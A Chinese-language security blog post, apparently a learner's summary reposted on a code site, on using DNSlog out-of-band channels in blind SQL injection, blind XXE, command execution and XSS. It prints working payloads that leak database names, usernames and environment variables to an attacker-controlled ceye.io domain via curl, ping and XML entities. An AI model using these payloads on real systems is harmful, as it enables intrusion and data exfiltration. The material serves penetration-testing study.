Dnslog在諸多漏洞中的利用方式


安全學習了大概快半年了,對於諸多漏洞的原理和基礎應用大概也基本了解了。

之前都是以‘點(每個漏洞怎樣?)’的方式在學習、記憶。現在感覺需要做一些總結:

今天又看到了DNSlog這個詞,記起了第一次接觸是在SQL盲注那一塊知識,后來在SSRF中測試無回顯情況中也遇到過,遂想做一下dnslog在諸多漏洞中的利用方式總結。

DNSlog原理:

原理就是:DNS協議有一個不懂就問的特點,向自己的上一級DNS服務器發問(請求解析),電腦在請求域名解析的時候會向DNS服務器請求,我們可以申請一個dns服務器如:ceye.io,因為電腦發出的請求域名如:payload.ceye.io是我們dns服務器的子域,所以它的解析請求就會被我們捕獲。

本質:依靠域名解析,把帶有payload解析后的域名向DNS服務器請求,從而獲取payload解析后的數據

利用點:只要是能夠發出域名解析請求的地方都可以用這種方式獲取數據。

可以利用DNSlog的漏洞:

  1. SQL盲注
  2. XXE(SSRF)(無回顯)
  3. 命令執行(無回顯)
  4. XSS(無回顯)

1、SQL盲注

//直接上payload演示
http://127.0.0.1/sqli_blind/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.YourDnsSite.ceye.io\\sql_test'))),1,0)--+   //需要注意  \\sql_test 這一塊可以隨便寫,意思就是請求這個服務器上的一個文件,但是不寫不行,具體原理不太了解,全靠實踐獲得吧

  然后我們就可以在我們申請的dns服務器上查看到:庫名.YourDnsSite.ceye.io  這一條域名解析記錄

2、XXE(SSRF)(無回顯)

這里之所以寫XXE(SSRF),其實是實戰中碰到的一種情況,XXE一般有兩種,一種是有回顯的,一種是無回顯的,即大家常說的盲XXE,然后對於這種盲XXE,我們驗證漏洞就可以使用讓它去請求一個服務器域名,看他是不是執行了,而且這種XXE漏洞一般都是與SSRF相關的。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.YourDnsSite.ceye.io/xxe_test"> %remote;]> <root/>    // http://ip.YourDnsSite.ceye.io/xxe_test部分拼湊一個域名,看看目標機器會不會去想dns服務器請求解析

3、命令執行(無回顯)

當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。 

這里分兩種情況:Linux系統和Windows系統

Linux:

curl http://ip.port.domain.ceye.io/`whoami` //就會在dns服務器顯示 ip.port.root.ceye.io

ping `whoami`.ceye.io //就會在dns服務器顯示 ip.port.root.ceye.io

Windows:

ping %USERNAME%.domain.ceye.io  //查詢該電腦中的環境變量 
類似的這種環境變量還有:
變量 類型 描述
%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。
%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
%CD% 本地 返回當前目錄字符串。
%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。
%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。
%COMPUTERNAME% 系統 返回計算機的名稱。
%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。
%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
%PATH% 系統 指定可執行文件的搜索路徑。
%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。
%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION% 系統 返回處理器的版本號。
%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。
%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。
%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
%USERNAME% 本地 返回當前登錄的用戶的名稱。
%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
%WINDIR% 系統 返回操作系統目錄的位置。

4、XSS(無回顯)

XSS繞過CSP  參閱freebuf此文

注意:

1、命令執行時要避免空格,空格會導致空格后面的命令執行不到;

2、將讀取的文件命令用``包含起來

3、拼接的域名有長度限制。(可能需要使用函數分塊截取)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM